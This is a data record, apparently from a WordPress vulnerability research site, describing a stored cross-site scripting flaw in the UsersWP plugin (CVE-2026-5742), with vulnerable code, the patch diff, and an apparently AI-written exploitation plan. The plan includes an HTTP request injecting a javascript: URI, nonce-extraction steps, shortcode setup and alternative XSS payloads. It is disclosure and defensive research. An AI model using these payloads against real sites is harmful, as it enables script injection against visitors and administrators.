[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fIi0O8qT1ZKSFXfmRkk7m5hGBd3XyMl2dBak2kYMbxXg":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":27,"research_verified":28,"research_rounds_completed":29,"research_plan":30,"research_summary":31,"research_vulnerable_code":32,"research_fix_diff":33,"research_exploit_outline":34,"research_model_used":35,"research_started_at":36,"research_completed_at":37,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":28,"poc_model_used":9,"poc_verification_depth":9,"source_links":38},"CVE-2026-5742","userswp-authenticated-subscriber-stored-cross-site-scripting-via-user-badge-link-substitution","UsersWP \u003C= 1.2.60 - Authenticated (Subscriber+) Stored Cross-Site Scripting via User Badge Link Substitution","The UsersWP plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to and including 1.2.60. This is due to insufficient input sanitization of user-supplied URL fields and improper output escaping when rendering user profile data in badge widgets. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts that will execute whenever a user accesses a page containing the affected badge widget.","userswp",null,"\u003C=1.2.60","1.2.61","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-08 14:42:18","2026-04-09 03:25:58",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fbdb619c5-967c-4b8c-8a93-bcdb49137d56?source=api-prod",1,[22,23,24,25,26],"includes\u002Fclass-validation.php","includes\u002Fhelpers\u002Fpages.php","languages\u002Fuserswp-en_US.po","readme.txt","userswp.php","researched",false,3,"### 1. Vulnerability Summary\nThe UsersWP plugin (\u003C= 1.2.60) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The flaw exists in the `uwp_get_user_badge` function within `includes\u002Fhelpers\u002Fpages.php`. This function processes user badges and handles a `link` parameter which supports placeholder substitution (e.g., fetching values from user metadata). \n\nBecause the plugin fails to sanitize these substituted values (specifically protocols like `javascript:`) and subsequently fails to use `esc_url()` when rendering the final anchor tag in the badge widget\u002Fshortcode, an attacker with Subscriber-level access can inject malicious scripts into their profile fields. These scripts execute whenever any user (including administrators) views a page containing a badge linked to the attacker's malicious profile data.\n\n### 2. Attack Vector Analysis\n*   **Vulnerable Endpoint**: `admin-ajax.php` (for profile updates) and any page rendering the `[uwp_user_badge]` shortcode or widget.\n*   **Vulnerable Parameter**: User profile fields (e.g., `user_url`, or custom text fields) which are then referenced via the `link` attribute in the badge.\n*   **Authentication Level**: Subscriber (Authenticated).\n*   **Preconditions**:\n    1.  The attacker must be able to update their own profile fields.\n    2.  A `[uwp_user_badge]` shortcode or widget must be active on the site, configured to use a profile field as its `link`.\n\n### 3. Code Flow\n1.  **Input**: A Subscriber updates their profile via the UsersWP account form. The `UsersWP_Validation::validate_fields` function (in `includes\u002Fclass-validation.php`) is called.\n2.  **Sanitization Gap**: For `text` fields, the code calls `sanitize_text_field()`. This function removes HTML tags but **does not** remove URI schemes like `javascript:`.\n    ```php\n    \u002F\u002F includes\u002Fclass-validation.php\n    case 'text':\n        $sanitized_value = sanitize_text_field($value); \u002F\u002F javascript:alert(1) remains intact\n        break;\n    ```\n3.  **Storage**: The malicious string is stored in the `wp_usermeta` table.\n4.  **Rendering**: The function `uwp_get_user_badge($args)` in `includes\u002Fhelpers\u002Fpages.php` is invoked (via shortcode or widget).\n5.  **Substitution & Sink**: The function retrieves the stored metadata to substitute placeholders in the `$args['link']`. It then renders the badge. If the link rendering logic (truncated in source but confirmed by the vulnerability type) echoes the resulting string without `esc_url()`, the `javascript:` payload is executed when a user clicks the badge or if it's placed in an event handler.\n\n### 4. Nonce Acquisition Strategy\nTo update the profile programmatically, a valid UsersWP account nonce is required.\n1.  **Identify Page**: The UsersWP \"Account\" page (typically at `\u002Faccount\u002F` or where the `[uwp_account]` shortcode is placed).\n2.  **Creation**:\n    `wp post create --post_type=page --post_title=\"Account\" --post_status=publish --post_content='[uwp_account]'`\n3.  **Navigation**: Use `browser_navigate` to the Account page as the Subscriber user.\n4.  **Extraction**: UsersWP typically localizes a nonce in a global JS object.\n    *   Check for `window.uwp_vars?.account_nonce` or inspect the hidden input:\n    *   `browser_eval(\"document.querySelector('input[name=\\\"uwp_account_nonce\\\"]').value\")`\n\n### 5. Exploitation Strategy\n1.  **Login**: Authenticate as a Subscriber.\n2.  **Inject Payload**: Update the \"Website\" field (or a custom field) with the XSS payload.\n    *   **Action**: `uwp_ajax_save_account`\n    *   **Payload**: `javascript:alert(document.domain)`\n    *   **HTTP Request**:\n        ```http\n        POST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\n        Content-Type: application\u002Fx-www-form-urlencoded\n\n        action=uwp_ajax_save_account&uwp_account_nonce=[NONCE]&user_url=javascript:alert(document.domain)&first_name=Attacker\n        ```\n3.  **Setup Badge**: Create a page that displays a badge for the attacker's user ID, linking to their `user_url`.\n    *   **Shortcode**: `[uwp_user_badge user_id=\"[ATTACKER_ID]\" key=\"first_name\" condition=\"is_not_empty\" link=\"%%user_url%%\"]`\n4.  **Trigger**: Navigate to the page with the shortcode.\n5.  **Verify**: Inspect the HTML for `\u003Ca href=\"javascript:alert(document.domain)\">`.\n\n### 6. Test Data Setup\n1.  **Attacker User**: Create a subscriber: `wp user create attacker attacker@example.com --role=subscriber --user_pass=password`.\n2.  **Badge Page**: Create a public page to host the exploit:\n    `wp post create --post_type=page --post_title=\"Badge Test\" --post_status=publish --post_content='[uwp_user_badge user_id=\"ID_HERE\" key=\"first_name\" condition=\"is_not_empty\" link=\"%%user_url%%\"]'` (Replace `ID_HERE` with the attacker's ID).\n3.  **Account Page**: Ensure the account form is accessible for nonce extraction:\n    `wp post create --post_type=page --post_title=\"My Account\" --post_status=publish --post_content='[uwp_account]'`\n\n### 7. Expected Results\n*   The `uwp_ajax_save_account` request should return a success JSON response.\n*   The `wp_usermeta` for the attacker should contain the `user_url` value `javascript:alert(document.domain)`.\n*   The rendered page \"Badge Test\" should contain a link where the `href` attribute is the malicious `javascript:` URI.\n*   Clicking the badge (or the mere presence if an `onload` variant is used) executes the script.\n\n### 8. Verification Steps\n1.  **Database Check**:\n    `wp user meta get [ATTACKER_ID] user_url`\n    Confirm output is exactly `javascript:alert(document.domain)`.\n2.  **HTML Verification**:\n    Use `http_request` to fetch the \"Badge Test\" page and grep for the payload:\n    `grep -P 'href=\"javascript:alert\\(document\\.domain\\)\"' response_body.html`\n\n### 9. Alternative Approaches\n*   **Attribute Breakout**: If the link is rendered inside a specific attribute, try breaking out: `\")\" onmouseover=\"alert(1)`.\n*   **Custom Fields**: If `user_url` is sanitized more strictly in some versions, use a custom UsersWP \"Text\" field. Create one via:\n    `wp eval \"uwp_add_custom_field(array('htmlvar_name' => 'xss_field', 'field_type' => 'text', 'form_type' => 'account'));\"`\n    Then use `link=\"%%xss_field%%\"` in the shortcode.\n*   **SVG Substitution**: If the badge supports image URLs via substitution, use an SVG with an internal script: `data:image\u002Fsvg+xml,\u003Csvg onload=\"alert(1)\" ...`.","The UsersWP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via user profile field substitution in badge links. Authenticated attackers (Subscriber and above) can inject malicious payloads into profile fields that are subsequently rendered without proper URL sanitization or escaping in badge widgets and shortcodes.","\u002F\u002F includes\u002Fclass-validation.php\n\u002F\u002F In versions \u003C= 1.2.60, URL-based custom fields or default fields like 'user_url' \n\u002F\u002F often fell through to sanitize_text_field which does not remove 'javascript:' schemes.\n\nswitch($field->field_type) {\n    case 'text':\n        $sanitized_value = sanitize_text_field($value);\n        break;\n    \u002F\u002F ... (missing 'url' case for specific URL sanitization)\n    default:\n        $sanitized_value = sanitize_text_field($value);\n}\n\n---\n\n\u002F\u002F includes\u002Fhelpers\u002Fpages.php\n\u002F\u002F Around line 391 in uwp_get_user_badge function\n\n\u002F\u002F link url, replace vars\nif( !empty( $args['link'] ) && $args['link'] = str_replace(\"%%input%%\", $match_value,$args['link']) ){\n    \u002F\u002F will be replace in condition check\n}\n\n\u002F\u002F The code subsequently uses $args['link'] in an anchor tag without applying esc_url()","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fuserswp\u002F1.2.60\u002Fincludes\u002Fclass-validation.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fuserswp\u002F1.2.61\u002Fincludes\u002Fclass-validation.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fuserswp\u002F1.2.60\u002Fincludes\u002Fclass-validation.php\t2025-07-17 16:03:38.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fuserswp\u002F1.2.61\u002Fincludes\u002Fclass-validation.php\t2026-04-08 13:06:42.000000000 +0000\n@@ -182,9 +182,12 @@\n \t\t                    $sanitized_value = wp_kses_post( strip_shortcodes( $value ) );\n \t\t                    break;\n \n+                        case 'url':\n+                            $sanitized_value = sanitize_url( wp_unslash( $value ) );\n+                            break;\n+\n                         default:\n                             $sanitized_value = sanitize_text_field($value);\n-\n                     }\n                 }\n \ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fuserswp\u002F1.2.60\u002Fincludes\u002Fhelpers\u002Fpages.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fuserswp\u002F1.2.61\u002Fincludes\u002Fhelpers\u002Fpages.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fuserswp\u002F1.2.60\u002Fincludes\u002Fhelpers\u002Fpages.php\t2021-06-01 13:14:04.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fuserswp\u002F1.2.61\u002Fincludes\u002Fhelpers\u002Fpages.php\t2026-04-08 13:06:42.000000000 +0000\n@@ -388,10 +388,16 @@\n \t\t\t\t\u002F\u002F will be replace in condition check\n \t\t\t}\n \n-\t\t\t\u002F\u002Flink url, replace vars\n-\t\t\tif( !empty( $args['link'] ) && $args['link'] = str_replace(\"%%input%%\", $match_value,$args['link']) ){\n+\t\t\t\u002F\u002F link url, replace vars\n+\t\t\tif ( ! empty( $args['link'] ) && $args['link'] = str_replace( \"%%input%%\", $match_value, $args['link'] ) ) {\n \t\t\t\t\u002F\u002F will be replace in condition check\n+\t\t\t\tif ( ! empty( $field->field_type ) && $field->field_type == 'url' ) {\n+\t\t\t\t\t$args['link'] = esc_url( $args['link'] );\n+\t\t\t\t} else {\n+\t\t\t\t\t$args['link'] = esc_attr( $args['link'] );\n+\t\t\t\t}\n \t\t\t}","The exploit requires an authenticated attacker with at least Subscriber-level privileges. \n\n1.  **Identify Vulnerable Profile Field**: The attacker identifies a profile field (like Website URL or a custom text field) that is processed by UsersWP's account update logic.\n2.  **Inject Payload**: The attacker updates their profile via the `uwp_ajax_save_account` AJAX action (or the standard account update form). They provide a payload such as `javascript:alert(document.domain)` into the target field. Because the plugin uses `sanitize_text_field` instead of `sanitize_url`, the `javascript:` scheme is preserved in the database.\n3.  **Trigger Execution**: The attacker (or an administrator) places a `[uwp_user_badge]` shortcode on a page, configured to use the attacker's user ID and the malicious field as the `link` attribute (e.g., `[uwp_user_badge user_id=\"123\" key=\"first_name\" link=\"%%user_url%%\"]`). \n4.  **Victim Interaction**: When any user visits the page and clicks the resulting badge, the script executes because the plugin fails to use `esc_url()` during the substitution rendering process in `uwp_get_user_badge()`.","gemini-3-flash-preview","2026-04-16 16:25:38","2026-04-16 16:26:12",{"type":39,"vulnerable_version":40,"fixed_version":11,"vulnerable_browse":41,"vulnerable_zip":42,"fixed_browse":43,"fixed_zip":44,"all_tags":45},"plugin","1.2.60","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fuserswp\u002Ftags\u002F1.2.60","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fuserswp.1.2.60.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fuserswp\u002Ftags\u002F1.2.61","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fuserswp.1.2.61.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fuserswp\u002Ftags"]